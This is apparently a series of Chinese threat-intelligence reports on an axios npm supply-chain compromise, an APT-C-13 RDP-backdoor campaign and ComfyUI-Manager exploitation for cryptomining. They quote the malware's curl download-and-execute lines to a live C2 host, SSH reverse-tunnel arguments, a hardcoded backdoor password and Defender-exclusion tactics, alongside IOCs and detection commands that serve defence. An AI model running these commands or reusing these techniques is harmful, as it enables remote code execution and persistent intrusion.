–%PROGRAMDATA% 目录下可疑批处理与可执行文件（如 wt.exe / system.bat）

–临时目录中 6202033.ps1 的短时出现（结合 EDR/审计日志回溯）

3.5 Linux Python Payload 分析

本节对 Linux 阶段载荷（Python 远控木马）的行为分析，重点说明其在 Linux 环境下的落地方式与相较 Windows 载荷的行为差异，用于支撑主机侧排查与应急响应。

3.5.1 载荷拉取与执行链

当攻击目标为 Linux 操作系统时，攻击链通常通过 /bin/sh 直接调用 curl 从 C2 下载 Python 脚本并在后台执行：

/bin/sh-c"curl -o /tmp/ld.py -d packages.npm.org/product2 -s http://sfrclak.com:8000/6202033 && nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &"

要点：

•载荷落地路径为 /tmp/ld.py，并通过 nohup 后台运行，输出重定向到 /dev/null 以降低运行痕迹。

•C2 地址同样通过脚本参数传入（便于同一载荷复用与动态切换 C2）。

3.5.2 与Windows载荷的关键差异

综合样本行为可见，该 Linux Python 远控木马整体功能与 Windows PowerShell 载荷基本一致（信息探测、目录遍历、命令执行与回传等），但在两类指令上存在关键差别：

1)peinject 指令处理差异：Linux 侧不使用反射注入，而是将 C2 下发的 shellcode 保存为临时可执行文件，赋予执行权限后直接启动。

2)runscript 指令处理差异：Linux 侧倾向于使用反弹 shell（reverse shell）方式建立交互通道，而非在本地直接执行脚本文本并回传执行结果。

3.5.3 检测与响应方式

•网络侧：

–关注对 sfrclak.com:8000 的 POST 出站通信（与 Windows 类似）。

–若出现反弹 shell 行为，需结合出口策略与 IDS/NetFlow 进一步排查异常外联。

•主机侧：

–/tmp/ld.py 的创建与执行链（curl → python3 → nohup）

–/tmp/.<随机> 形式的可疑临时可执行文件（用于承载下发的 shellcode 并执行）

–关联进程树特征：sh/bash 拉起 curl 与 python3，并存在长期驻留的 Python 进程

3.6macOS Payload 分析

本节对 macOS 阶段载荷（落地文件：/Library/Caches/com.apple.act.mond）的行为分析，重点关注其在 macOS 环境下的落地执行链与针对 Gatekeeper 的绕过策略，用于支撑终端侧排查与应急响应。

3.6.1 载荷拉取与执行链

针对 macOS 目标时，攻击者通过 curl 从 C2 下载载荷并保存到 /Library/Caches/com.apple.act.mond 路径，随后赋权并触发执行。

curl -o "/Library/Caches/com.apple.act.mond"-d"packages.npm.org/product0"-shttp://sfrclak.com:8000/6202033 \
&&chmod 770 "/Library/Caches/com.apple.act.mond"\
&&/bin/zsh-c"/Library/Caches/com.apple.act.mond \"packages.npm.org/product0\""\
> /dev/null 2>&1&

要点：

载荷落地于 ~/ 之外的系统缓存目录（/Library/Caches），更贴近“系统组件”伪装。

输出重定向到 /dev/null 并后台运行，降低可见性。

3.6.2 与 Windows/Linux 载荷的关键差异

样本整体功能与 Windows PowerShell / Linux Python 版本基本一致，但在两类指令处理上体现出 macOS 平台特性：

1)peinject 指令处理差异（Gatekeeper 绕过）：收到 peinject 指令后，会在 /private/tmp/ 写入随机文件名的临时可执行文件，写入 C2 下发的 shellcode，并通过 codesign --force --deep --sign - 进行签名处理，以提高执行成功率并规避部分 Gatekeeper 校验路径。

2)runscript 指令处理差异（osascript 执行）：收到 runscript 指令后，会创建形如 /tmp/.XXXXXX.scpt 的临时脚本文件，并使用 /usr/bin/osascript 执行 AppleScript 内容。

3.6.3 检测与响应方式

网络侧：

关注对 sfrclak.com:8000 的 POST 出站通信与周期性 beacon（与其他平台一致）。

主机侧：

–/Library/Caches/com.apple.act.mond的创建、权限变更（chmod）与执行（zsh -c）；

–/private/tmp/ 下随机文件名的短时可执行文件（配合 codesign 命令调用）；

–/tmp/.XXXXXX.scpt 与 /usr/bin/osascript 的异常调用链。

四、影响评估

受影响范围：直接/间接依赖 axios@^1.14.0 或 axios@^0.30.0 的所有项目（包括 CI/CD 流水线、构建服务器与开发机）。

潜在后果：系统信息窃取、凭证泄露、远程命令执行、跨平台持久化后门、进一步横向移动。

当前状态：恶意版本已被 npm 下架，但已安装环境需视为已失陷并按入侵处置流程处理。

五、缓解措施

5.1 优先针对开发项目进行版本锁定

在 package.json 中将 Axios 固定为已知安全版本，并强制覆盖所有传递依赖：

{
"dependencies":{
"axios":"1.14.0"
},
"overrides":{
"axios":"1.14.0"
}
}

•Yarn 用户可使用 resolutions 字段；pnpm 用户可使用 overrides 字段。

•提交 package-lock.json 并使用 npm ci 确保构建一致性。

5.2 针对疑似中招环境进行审计与IOC 检测

（1）依赖版本与锁文件检查

检查当前安装的 axios 和 plain-crypto-js 版本
npm ls axios plain-crypto-js --all
全面搜索锁文件中的恶意版本
grep -E 'axios@(1\.14\.1|0\.30\.4)|plain-crypto-js@4\.2\.1'\
package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null ||true

（2）node_modules 目录扫描

find . -path'*/node_modules/plain-crypto-js'-type d 2>/dev/null
find . -path'*/node_modules/axios'-name'package.json' -exec grep -E '1\.14\.1|0\.30\.4' {} + 2>/dev/null

（3）文件系统 IOC 扫描

macOS/Linux 示例
find /Library/Caches -name"com.apple.act.mond"2>/dev/null
find /tmp -name"ld.py" 2 >/dev/null

（4）Linux网络 IOC 检查

ss -tup|grep -E 'sfrclak\.com|142\.11\.206\.73'|| netstat -tup|grep -E 'sfrclak|142\.11'

（5）检测后的处理建议

如发现任何 IOC：立即隔离主机，保全证据，启动应急响应流程。

清理建议（仅在完成取证后）：rm -rf node_modules package-lock.json && npm install。

5.3 轮换可能已失陷受影响的凭证

所有接触过受影响环境的凭证必须立即轮换，包括：npm tokens、SSH 密钥、云平台凭证、GitHub PAT 等。建议启用 MFA，并收敛令牌权限与生命周期。

5.4 对CI/CD流程进行安全防护加固

构建阶段忽略安装脚本（按需评估兼容性）
npm ci --ignore-scripts

总结

本次事件再次印证：npm 供应链安全的核心脆弱点在于维护者账号凭证与 install 脚本默认可执行。即使做到“零源码改动”，攻击者仍可通过依赖注入在构建/安装阶段实现高隐蔽性、跨平台的持久化控制。

360建议所有使用 Axios 的团队落实“零信任依赖”原则：

版本锁定与锁文件强制
构建阶段最小化脚本执行（必要时 --ignore-scripts）
持续依赖安全扫描与供应链监测
凭证最小权限、短周期与强 MFA

附录 IOCs

•恶意包名称：

plain-crypto-js@4[.]2.1

axios@1[.]14.1

axios@0[.]30.4

•C2 基础设施：

sfrclak[.]com:8000

http://sfrclak[.]com:8000/6202033

142.11.206[.]73

•典型文件路径：

macOS：

/Library/Caches/com[.]apple.act.mond

$TMPDIR/6202033

Windows：

%PROGRAMDATA%\wt[.]exe

Linux：

/tmp/ld[.]py

•Windows Payload SHA256：

ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c

•macOS Payload SHA256：

92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a

跳转微信打开

APT-C-13（沙虫）RDP后门攻击活动

Tue, 24 Mar 2026 17:27:00 +0800

原创高级威胁研究院 2026-03-24 17:27 北京

APT-C-13组织近期正利用其深度迭代的模块化渗透框架——Tambur/Sumbur/Kalambur系列，开展高强度的定向攻击

APT-C-13

沙虫

APT-C-13（沙虫），又名APT44、Seashell Blizzard、Voodoo Bear，是一个顶级高级持续威胁（APT）组织。该组织长期针对全球范围内的关键基础设施、能源系统、重工业及政府核心部门实施高强度的网络渗透与战略破坏。

其攻击活动最早可追溯至2009年前后，核心使命旨在通过网络手段实现地缘政治目标，涵盖了从深度内网情报收集、间谍活动到毁灭性系统破坏的全频谱作战。

该组织表现出极高的活跃度与技术韧性。即便近年来频繁面临多国政府的刑事起诉以及全球安全行业的密集曝光，APT-C-13非但未曾缩减其行动规模，反而展现出更强的技术进化能力。从早期的“瞬间致瘫”式破坏，到近期观测到的模块化渗透框架——通过隐蔽隧道与匿名网络实现的长期潜伏与驻留——该组织正以更加专业化、隐蔽化的战术策略，持续加剧着全球关键基础设施所面临的安全挑战。

360高级威胁研究院近期监测数据显示，APT-C-13组织近期正利用其深度迭代的模块化渗透框架——Tambur/Sumbur/Kalambur系列，针对攻击目标的国防工业、关键基础设施及政府职能部门开展高强度的定向攻击。

该组织在2024-2026年展现出明确的战略范式演进：通过投放嵌入恶意载荷的特洛伊化激活工具及盗版软件，精准切入目标内网，并依托隐蔽的反向加密隧道建立长效驻留。本报告据此展开专项分析，旨在揭示其从“瞬时破坏”向“情报导向型持续性寄生”的战术转型。建议相关关键机构及工业实体强化内网行为审计，提升针对合法管理协议异常活动的监测能力，以有效防范核心工业情报及战略数据面临的泄露风险。

一、攻击链分析

初始广撒网攻击阶段利用了封装有恶意载荷的镜像载体Microsoft.Office.2025x64.v2025.iso。

该 ISO 镜像通过高度伪装的手段，将恶意代码嵌入至看似合法的办公软件激活流程中，利用用户对破解工具的信任实现初步渗透。

镜像内部集成了伪装成 auto.exe 或 setup.exe 的恶意引导程序。当用户挂载镜像并尝试启动“安装”或“激活”进程时，这些载荷执行器会作为攻击的第一阶段被触发，负责后续核心组件的释放与环境探测。

根据情报溯源分析，此类攻击程序疑似托管于乌克兰境内的软件破解社区，并利用 Telegram 频道作为其主要的传播渠道，攻击者通过社会工程学手段精准诱导目标群体下载执行，这种“以利诱之”的投送策略显著压缩了传统安全边界的防御冗余。

在初始执行器激活后，攻击逻辑将进入攻击载荷释放阶段。攻击者在筛选高价值目标后按需落地具备特定功能的恶意模块。

1. Tambur

该攻击活动发现自乌克兰国营船舶机械制造厂一名技术人员的办公设备。攻击者利用 Windows 诊断基础设施（WDI）的合法路径作为掩护，通过计划任务实现了极其隐蔽的持久化控制。该威胁的核心在于利用SSH反向隧道绕过边界防火墙，并配合多级载荷分发机制进行C2指令传递，且攻击基础设施在命名语义上呈现出高度的协同性，进一步印证了这是一场预谋已久的定向攻击。

1.1 持久化

攻击者通过schtasks命令在系统关键路径\Microsoft\Windows\WDI\Protector\下创建了名为Tambur和Protector的计划任务。此举旨在模拟系统原生诊断组件，逃避常规的安全审计。

任务通过硬编码Administrator凭据（密码：1qaz@WSX）并指定/rl highest权限运行，确保了隧道在系统启动或用户登录后能够以最高权限建立，从而实现对远程桌面（RDP）服务的接管。

1.2 基础设施关联性分析

此次攻击活动中，基础设施的命名规律是判定攻击关联性的重要线索。

隧道端点：tambur@dontgivedamn.com（SSH 隧道接收端）。

载荷中继：dontgivefuck.com（在受劫持站点脚本中发现的二级重定向地址）。

这种具有高度一致性的“嘲讽式”命名（dontgive* 系列）并非偶然。这种语义上的强关联性，直接将“流量隧道化”与“外部载荷分发”两个独立的阶段连接在一起，勾勒出了一个闭环的攻击架构：

攻击者首先通过dontgivefuck.com下发攻击指令和后续载荷，随后通过dontgivedamn.com建立持久化的反向控制通道。这种命名偏好与部分东欧背景的攻击组织在快速更迭C2时表现出的TTP高度吻合。

1.3 RDP与SSH

攻击者利用内置ssh.exe建立的反向隧道绕过了传统安全防御的出站限制：

RDP 暴露：-R 127.0.0.1:30054:127.0.0.1:3389。攻击者只需在远端C2服务器连接自身的30054端口，即可直接映射并控制内网受害主机的3389(RDP)服务。
SSH 级联：-R 127.0.0.1:20054:127.0.0.1:22。通过将本地SSH端口转发至外部，攻击者构建了一个双向的加密管理通道，用于文件传输及命令执行。

1.4 信息收集与自清理

在维持控制的同时，攻击者通过PowerShell脚本收集目标主机信息：

1).唯一性标识：采集硬件UUID和注册表MachineGuid，用于在C2侧精准区分受害者。

2).存活判定：实时探测 sshd 进程状态及 22 端口监听情况，确保隧道组件的可用性。

3).载荷回收：计划任务 Protector 展现了成熟的反取证意识。通过 sleep 97 延时后强制删除C:\Windows\Temp\ittem.exe。

这种“阅后即焚”的手段极大压缩了应急响应人员获取恶意样本的窗口期。

2. Kalambur

该脚本是一个高度集成化的多阶段后门程序,其核心战术（TTPs）围绕内网穿透、远程桌面（RDP）接管以及持久化通信展开。通过利用Tor网络屏蔽真实C2流量，并结合OpenSSH与 VBScript 封装，该攻击框架展现了极强的防御规避能力和对目标系统的深度控制意图。

2.1 信息收集

收集目标主机公网 IP、硬件 UUID及系统主机名。

收集结果将写入%PUBLIC%\Windows Update\ 目录下的隐藏文件中，作为后续 C2 通信的唯一索引。

2.2 基础设施构建

攻击者并不依赖传统的明文 HTTP 通信，而是构建了复杂的加密隧道架构：

Tor 网络接入：脚本内置了 Check-IfTorExist 和 Check-Rot 功能，旨在强制关闭现有的 Tor 进程，并从 kalambur[.]net 下载并安装自定义的Tor服务。该服务将本地 9050 端口作为 SOCKS5代理，使后续流量能够通过.onion 域名进行匿名化传输。

SSH 服务部署：脚本通过 Check-OpenSSH 远程拉取官方 OpenSSH MSI 安装包，静默安装后强行开启入站防火墙规则（端口 22），将受害主机转化为一个稳定的内网跳板。

2.3 权限维持

攻击者对系统的控制策略表现出明显的“权限饥渴”与“隐蔽维持”特征：

后门账户创建：脚本根据系统环境，尝试启用禁用的 500 SID 账户，或创建名为 Admin 或 WGUtilityOperator 的新账户。所有后门账户均统一使用强关联密码 1qaz@WSX。

RDP 配置：修改注册表以禁用 RDP 连接限制。
- 启用影子会话 (Shadowing) 功能，允许攻击者静默监控当前用户的桌面。
- 通过 SpecialAccounts 注册表项实现账户在登录界面的完全隐藏。

计划任务：创建名为 WindowsUpdateCheck 的高频率计划任务，每 60 分钟触发一次 rata.vbs。

该 VBS 脚本经过 Base64 编码封装，真实意图是循环从 Onion 节点拉取并执行远程指令。

2.4 防御规避与自清理

脚本执行链中嵌入了密集的反取证操作：

无脚本化执行：核心逻辑均通过 powershell -enc（Base64 加密命令）运行，规避静态特征扫描和命令行审计。

DLL注入与Tor安装：脚本请求下载 hid.dll 并将其放置在C:\Program Files\Common Files\microsoft shared\ink\目录下，用于 DLL 注入和 TOR 浏览器安装。

自我清理：Check-Led 函数配合 sleep 延时，在攻击各阶段完成后强制删除 C:\Windows\Temp\ittem-*.exe 以及各类中间 VBS 脚本，大幅缩短了受害者侧的取证时间窗口。

3. Sumbur

Sumbur 作为该模块化PowerShell攻击框架的迭代版本，在继承了前代Kalambur核心逻辑的基础上，展现了显著的隐蔽性增强与技战术（TTPs）优化。该框架通过多级 VBScript 封装、Tor 匿名网络通信以及对 Windows 原生服务的武器化利用，旨在受害内网中构建一条持久且难以溯源的隐蔽控制链。

3.1 Kalambur与Sumbur核心差异对比

下表概括了两代框架在关键技战术（TTPs）上的演进：

	Kalambur	Sumbur
伪装路径	%PUBLIC%\Windows Update	%PUBLIC%\Edge Update Manager
持久化名称	WindowsUpdateCheck	MicrosoftEdgeUpdateTaskMachineCore
C2域名	kalambur[.]net	sumbur[.]net
传输安全性	明文 HTTP/PowerShell 请求	Basic Authorization
组件完整性	直接解压WindowsUpdate.zip	MD5校验
通信链路	静态Onion节点	动态配置

3.2 访问控制

Sumbur 在载荷下发阶段引入了基于基础认证（Basic Authorization）的访问控制。在执行 Check-Cold 与 Change-Ion 函数请求远程资源时，请求头中必须包含硬编码的 Base64 凭据。

这一改动是攻击者 OpSec意识提升的直接体现。通过校验 HTTP 报头，C2 服务端可识别并过滤掉来自自动化分析沙箱或安全研究人员的被动扫描请求。针对未授权访问，服务端通常返回伪造内容或拒绝连接，从而实现“非靶标不投送”的精准打击策略，极大地增加了研究人员获取核心载荷的难度。

3.3 模块化管理

相较于 Kalambur 较为僵化的执行逻辑，Sumbur 引入了更灵活的模块管理功能：

Change-Ion 机制：该机制赋予了框架对本地 Tor 代理服务的全生命周期管理能力。

攻击者可根据 C2 指令随时关停 tor 进程，远程拉取并重写最新的 lib 配置文件后再行重启。这种“配置旋转”能力确保了在特定出口节点被封禁时，通信链路能迅速完成热更新。

分阶段下载与清理：Sumbur对 Get-Led 函数进行了细化，实现了对 ftara.log、ion.log 等中间状态日志的精准清理。

3.4 防御规避

鉴于企业环境中浏览器及其更新程序的高频活动特征，Sumbur 通过模仿Edge的更新逻辑，将恶意 VBS 脚本驻留在模仿官方更新目录的路径下，利用大量的合法系统日志掩盖其异常 IO 活动，显著降低了行为熵值的异常凸显。

任务调度优化：计划任务频率从每 60 分钟 (Kalambur) 修改为特定的每4小时(HOURLY /MO 4)执行一次。

这种调整策略通过精确模拟官方软件的更新周期，规避基于行为序列分析的启发式检测机制。

4 DemiMur

4.1 信任链篡改

该攻击活动的核心战术在于通过信任链篡改实现长效的防御规避。攻击者利用该模块将伪造的DemiMurCA.crt根证书强制导入操作系统的受信任根证书颁发机构存储区，在执行后续脚本时，Windows 则会自动验证签名块的合法性并判定其为“受信任的”。

权限获取与证书注入：脚本通过调用系统原生指令 Import-Certificate，将证书精准植入本地计算机的根存储路径（Cert:\LocalMachine\Root）。

此操作从操作系统底层重构信任链，为后续的所有恶意载荷、加密流量及伪装站点建立持续的信任基础，确保无感绕过系统的合规性校验。

载荷加载与自清理：证书注入完成后，脚本立即触发自清理机制。在强制清理残留.crt文件的同时，投放二段压缩载荷 dmf.zip。

通过解压并执行核心模块DemiMurFunc.exe，脚本随后会同步执行自删除逻辑（清理 DemiMur.exe），实现从“投递器”向“功能组件”的过渡，从而最大限度压缩数字取证的响应窗口。

4.2 目录排除

利用 PowerShell 原生指令 Add-MpPreference 强制修改 Microsoft Defender 的扫描配置。将C盘根目录、TEMP临时目录以及多个 PowerShell 核心模块路径列入排除名单。

防御能力削弱：将整个系统盘设为白名单是极端的防御对抗手段，确保后续投送的恶意二进制文件在落地执行时不会触发实时监控警报，为攻击者在 %PUBLIC% 等目录下部署脚本提供“安全环境”。

在成功削弱系统防御后，结合Tambur中使用的反向加密隧道以及kalambur中的桌面控制权获取，构建了完整的隐蔽渗透链路。

二、归属研判

1 载荷投递与基础设施关联

本次分析起始于一起利用盗版及虚假软件植入恶意载荷的网络间谍活动。遥测数据显示，核心恶意域名kalambur.net的使用，与历史记录中 APT-C-13组织发起的网络间谍行动存在资产关联。这种基础设施的复用与继承，为本次行动提供了坚实的初始溯源依据。

2 战略范式的演进：从破坏性震慑向情报导向潜伏的转型

行业态势研判表明，自 2024 年以来，APT-C-13在针对目标国家的网络攻击行动策略经历了显著的范式转移：即从早期追求瞬时杀伤的破坏性打击，全面转向以长效情报收集为目标的持续性网络渗透。

这一转变在技术实现层面得到了深度印证：本次活动中观测到的轻量化、模块化恶意框架，及其高度依赖合规加密通信协议构建隐蔽通道的设计理念，精准契合了该组织“Living off the Land”的战略转型趋势，旨在最大程度降低行为熵值，实现高强度的防御规避。

3 对抗心理剖析

进一步观察攻击者的资产特征，其采用的 “dontgive” 系列语义化命名规则，以及对核心脚本赋予斯拉夫语源词汇（如意指“混乱”的代号）的命名方式，深刻映射出APT-C-13在针对目标的行动中长期存在的心理战意图及行为特征。

基于其命名模式的词缀扩展规律研判，该组织在后续的武器库迭代中，极有可能继续沿用具备显著斯拉夫语系特征的词汇（如 Shlyambur、Bulyambur 等）作为标识符或攻击模块代号，以维持其战术资产的逻辑连贯性。

4 归属结论

综合现有数字证据，该系列攻击活动以中等置信度归属于APT-C-13组织。

其核心战术表现为：利用持续迭代的模块化渗透框架，对特定目标实施以情报窃取为终极诉求的网络入侵。此模式标志着该组织的攻击逻辑已完成深度进化——从初期的“瞬时破坏性打击”演进为依托加密隧道及匿名网络构建的、具备长期驻留能力的“持续性寄生”。

三、防范排查建议

源头阻断非法工具：严格管控办公环境中第三方激活工具及未经授权的精简版系统镜像，切断恶意载荷投送的主要渠道。
加强系统和网络监控：实施全面的日志监控和分析，重点关注系统启动项、注册表修改以及PowerShell脚本的执行记录。
强化终端安全防护：安装360安全卫士，并确保所有终端设备安装并定期更新反病毒和反恶意软件，进行全面的恶意软件扫描。

附录 IOC

massgrave[.]link

dontgivefuck[.]com

dontgivedamn[.]com

kalambur[.]net

sumbur[.]net

57.128.59[.]134:24102

146.59.116[.]226:50845

n6b6j4vlkc4ak343j4fmuwmosxtwrft6bph5s5562lefji4a475smuad.onion

2zilmiystfbjib2k4hvhpnv2uhni4ax5ce4xlpb7swkjimfnszxbkaid.onion

i2rgcvog6cypjohfzfzw3d5kqgoobkzlbchsdxx4gm7lyaxn5nfp6bid.onion

MD5

b57299c00a0991036a96ab4bf5928134

deac8223ed9fc5e0a9adbc01abbe30cb

620221e4c78e8df6f0ce4d489c15dffb

8295b1fac6535f4444a9d477c4225942

96a9321deca6717db13bd5db8d3abba5

7eddf8cbe7e2bfb750cdd503eb912557

360高级威胁研究院

跳转微信打开

ComfyUI-Manager RCE（CVE-2026-22777）遭在野利用，数万台设备亟待修复

Thu, 19 Mar 2026 15:34:00 +0800

360威胁情报中心 2026-03-19 15:34 北京

ComfyUI中检出XMRig挖矿木马，深入排查及溯源后发现攻击者利用ComfyUI-Manager 注入漏洞（CVE-2026-22777）进行入侵，全球数万台设备受此高危漏洞影响⚠️

一、事件背景

ComfyUI是一款基于节点式工作流的 Stable Diffusion图形界面工具，被广泛应用于AI绘画领域，而ComfyUI-Manager是ComfyUI 扩展管理器插件，用于管理自定义节点、模型和安装更新。

近期，360安全大脑告警ComfyUI中检出XMRig挖矿木马，深入排查及溯源后发现攻击者利用ComfyUI-Manager 注入漏洞（CVE-2026-22777）进行入侵，并向ComfyUI execution.py、server.py中注入挖矿脚本以实现隐匿挖矿，结合360网络空间测绘数据，全球数万台设备受此高危漏洞影响。

因攻击项目开发者为adolf hitler，且挖矿配置文件config.json包含信息"user-agent": "hitler-miner v14.88"，故将该挖矿家族命名为“HitlerMiner”。

二、漏洞成因

ComfyUI-Manager 默认暴露了可通过Web API修改配置项的接口，且未对用户输入的\r\n等特殊字符进行过滤，导致存在CRLF注入漏洞。攻击者可通过换行符注入恶意配置项，将security_level降级为weak，从而允许执行高风险操作（如安装任意 git 仓库、pip 包等）实现远程代码执行，最终控制服务器。

漏洞危害等级：高危^[1]
用户交互要求：无需用户交互
影响版本：ComfyUI-Manager < 3.39.2；4.0.3<= ComfyUI-Manager <4.0.5；
修复建议：尽快升级ComfyUI-Manager至3.39.2、4.0.5+安全版本。

三、HitlerMiner版本迭代

HitlerMiner挖矿木马项目更新频繁，从2025.12.10-2026.03.08不到3个月已进行了100余次提交，如下是其历史版本的部分commits记录：

2026-01-10版kalost-installer-fdf951c790a5源码截图如下：

四、攻击活动分析

本文以2026-01-10版kalost-installer-fdf951c790a5作分析，其利用CVE-2026-22777入侵并传播挖矿木马的攻击流程图如下。

4.1漏洞利用

攻击者在公网扫描暴露ComfyUI且运行含CVE-2026-22777漏洞的ComfyUI-Manager资产，利用此漏洞可在无需用户交互的情况下远程安装恶意自定义节点。下图是攻击者入侵后，被修改的ComfyUI-Manager配置文件config.ini截图，可看到security_level被修改为weak级别以允许安装任意来源插件。

如下是攻击者植入的恶意自定义节点asdfsdfpoc，项目地址:http://fbyavpt7.requestrepo[.]com/asdfsdfpoc.git。

值得注意的是，恶意节点asdfsdfpoc中的文件__init.py__、install.py（即本次攻击事件中的injector.py）在安装过程中便立即执行。为阻碍溯源分析工作，攻击者删除了该节点下的Python脚本（只剩一个.git文件夹），虽然ComfyUI重启后，恶意节点asdfsdfpoc因缺少__init.py__.py而导入失败，但不影响injector.py生成的恶意脚本execution.py正常执行。

4.2木马源头 —— 注入器injector.py

注入器injector.py主要实现以下功能：

1）查找ComfyUI根目录，继而读取原始的execution.py、server.py；

2）安装必需的pip包；

3）首次运行时，备份正常的execution.py、server.py；

4）下载session_utils.py（ComfyUI后门脚本）；

5）下载init.py覆写自定义节点srl-nodes的__init__.py以加载injector.py实现持久化

6）生成patch后的execution.py、server.py；

7）下载并运行挖矿进程守护程序watch_dog。

需要注意的是，injector.py采用了输出重定向技术，通过将关键输出重定向到内存缓冲区中以隐藏敏感日志输出。

4.2.1覆写自定义节点srl-nodes

srl-nodes^[4]是一个允许执行任意代码的ComfyUI自定义节点，injector.py执行后会从攻击者代码托管平台下载init.py以覆写自定义节点srl-nodes（不存在则主动创建）的__init__.py，从而加载injector.py（以 #FUCK_PUTIN 打头）实现持久化，替换前后对比如下：

值得注意的是，若custom_nodes中本身就安装了自定义节点srl-nodes，由于替换前后目录表未改变，文件夹srl-nodes的修改日期仍是其最初安装时间，这一点非常隐蔽。

4.2.2patch后的execution.py

攻击者在ComfyUI原始的execution.py基础上注入了挖矿信息（即填充了钱包地址的miner_manager.py），并增加了矿工管理函数manage_miner()，注入前后对比如下：

需要注意的是，execution.py中的外层函数在import execution时便执行，且先于manage_miner(action)执行。

4.2.3patch后的sever.py

patch后的sever.py相比原始版本引入了后门脚本session_utils.py，并在PromptServer类的add_routes()尾部添加攻击代码session_utils.setup_routes(self.app)，注入前后对比如下：

下图是ComfyUI根目录下最终安装的恶意模块，execution.py、server.py会在ComfyUI重新启动时自动加载。

4.3ComfyUI后门 —— session_utils.py

session_utils.py为ComfyUI添加了一个功能强大的后门，实现了基于Cookie的会话认证机制，并允许授权用户通过Web界面完全控制系统。攻击者还内置了硬编码的后门密钥“hitler1488”。

session_utils.py还允许使用run_shell_command_sync()函数执行命令： cd命令切换目录、通过subprocess.run()执行其他命令。

4.4矿工管理器miner_manager.py

miner_manager.py主要用于下载挖矿脚本，继而下载XMRig、LolMiner、TrexMiner等矿工进行挖矿牟利。

早期miner_manager.py使用明文的文件名集合，且在injector.py中进行赋值。

2026-01-13之后的新变种则使用base64编码的文件名集、路径集，并调用three_random()给xmrig, lol, watchdog三个文件生成随机的绝对路径。

最终，/root目录下安装的矿工、配置文件、挖矿日志如下：

4.5挖矿进程守护程序watch_dog

watch_dog是一个VT 0检出的ELF木马，其使用白名单机制，通过监控CPU和GPU使用情况，自动终止白名单外的高负载可疑进程。白名单的判断条件如下：

判断条件	说明	结果
PID检查	PID <= 100（系统进程）、自身PID、PID=1（init）	✅可信，跳过
基础设施关键词	命令行或可执行路径包含 docker, containerd, dockerd, kube, kubelet, kube-proxy, cri-containerd, node	✅可信，跳过
白名单路径	WHITELIST_PATHS中的路径，即矿工路径	✅可信，跳过
Python解释器路径	PYTHON_EXECUTABLE_PATHS中的路径	✅可信，跳过
ComfyUI关键字	命令行包含 "ComfyUI" 字符串	✅可信，跳过
以上都不满足	无	❌不可信，清理

2025.12.10最初版本的watch_dog先使用gzip压缩，而后做了base64编码。

紧接着的watch_dog版本使用明文白名单WHITELIST_PATHS，而2026-01-13之后的新变种则开始使用base64编码。

4.6安装tmate共享软件

ComfyUI日志文件中还包含下载安装Terminal共享软件tmate的记录（允许攻击者远控中招主机），但这些俄语字符串在攻击者项目源码中并不存在，中招主机中也没有包含这些俄语字符串的文件。

防范及排查建议

AI的引入虽然极大提高了生产效率，但网络安全问题仍不容忽视，鉴于CVE-2026-22777高危漏洞影响全球数万台ComfyUI资产、利用难度较低，且POC也已公开，其漏洞修复工作刻不容缓。

HitlerMiner通过向ComfyUI关键文件（execution.py、server.py）注入挖矿脚本从而在启动时实现隐匿挖矿，并通过输出重定向方式隐藏输出、设置后门密钥、安装tmate共享软件、清理攻击痕迹等手段进一步强化对抗，此类攻击方式值得大家引起关注。

广大用户可使用360安全大脑相关产品进行实时拦截与防护，并从以下4个方面进行加固，以免遭受黑客攻击，造成不必要的损失。

1）升级ComfyUI、ComfyUI-Manager到安全新版本；

2）避免使用 --listen 0.0.0.0等允许外部连接的参数启动 ComfyUI ，修改ComfyUI端口为其他端口（非8188默认端口）；

3）若非业务需要，不要在公网暴露ComfyUI业务端口，采用本地或内网访问、设置访问白名单等方式进行加固；

4）使用Ngnix反向代理+认证方式进行加固。

附录 IOC

URL:

https://pastes[.]io/download/base64-encoded-gzip-payload

http://bitbucket[.]org/kalost/installer/raw/main/init.py

http://bitbucket[.]org/kalost/installer/raw/main/trex.sh

http://bitbucket[.]org/kalost/installer/raw/main/ocean.sh

http://bitbucket[.]org/kalost/installer/raw/main/injector.py

http://bitbucket[.]org/kalost/installer/raw/main/miner_manager.py

http://bitbucket[.]org/kalost/installer/raw/main/session_utils.py

http://bitbucket[.]org/kalost/installer/raw/main/watch_dog

http://bitbucket[.]org/kalost/installer/raw/main/xmrig

https://github[.]com/Lolliedieb/lolMiner-releases/releases/download/1.98a/lolMiner_v1.98a_Lin64.tar.gz

矿池&钱包地址:

GPU挖矿-Tari (XTM)币

矿池: xtm-c29.kryptex[.]network:7040

钱包地址: t.log[.]krxXVMD2Z7

CPU挖矿-门罗币

矿池: xmr.kryptex[.]network:7029

钱包地址: x[.]log/885VUf2YL1WDTQZm36tSZU7NqZaSFNSvWH96431L1y5K3cde8sUEQZEQpbxS8JKW7Y6xc8DDEW1xpGWYyAngqG3F8RJtCX5

MD5:

11f73b3e06cc4cbbdb0afc43ab81d9e6init[.]py

136b3c2d11cf6451393dd086e8477832ocean[.]sh

17bae42136fdd3a8806a85b514cd8eefwatch_dog

2b389760bc4962cc96cd39313411a75ewatch_dog

5d73e81a194aa182e643227c35e5befctrex[.]sh

6f8c0d3cc117556bdac86570a006cc25session_utils[.]py

7b202bea09d498a37c611fb0adeaf460script[.]py

80af4fa2a98c7e5d57aa76f58730e660watch_dog_26[.]cpp

a2c944e7f074caa90c316032472a6a00miner_manager[.]py

b37d7a21177d039df2001c998a3e4a71injector[.]py

cf127d66124c390ca0f0b42c6385c3c8xmrig

cabc624c1076f3dda4e56a6b44166e92lolMiner_v1.98a_Lin64[.]tar.gz

参考链接

1. https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2026-22777

2. https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2025-67303

3. https://github.com/Comfy-Org/ComfyUI-Manager/security/advisories/GHSA-562r-8445-54r2

4. https://github.com/seanlynch/srl-nodes

跳转微信打开

Confucius组织针对巴基斯坦部署AnonDoor后门的攻击活动分析

Wed, 04 Mar 2026 17:30:00 +0800

原创高级威胁研究院 2026-03-04 17:30 北京

Confucius组织是一个具有长期针对南亚地区的APT组织，自2013年活跃至今，主要目的是窃取敏感信息。近期我们在日常威胁狩猎中观察到该组织持续发起新型攻击，采用多层“白加黑”利用技术，并结合Pyc功能模块内存加载恶意代码，用于隐蔽恶意行为。

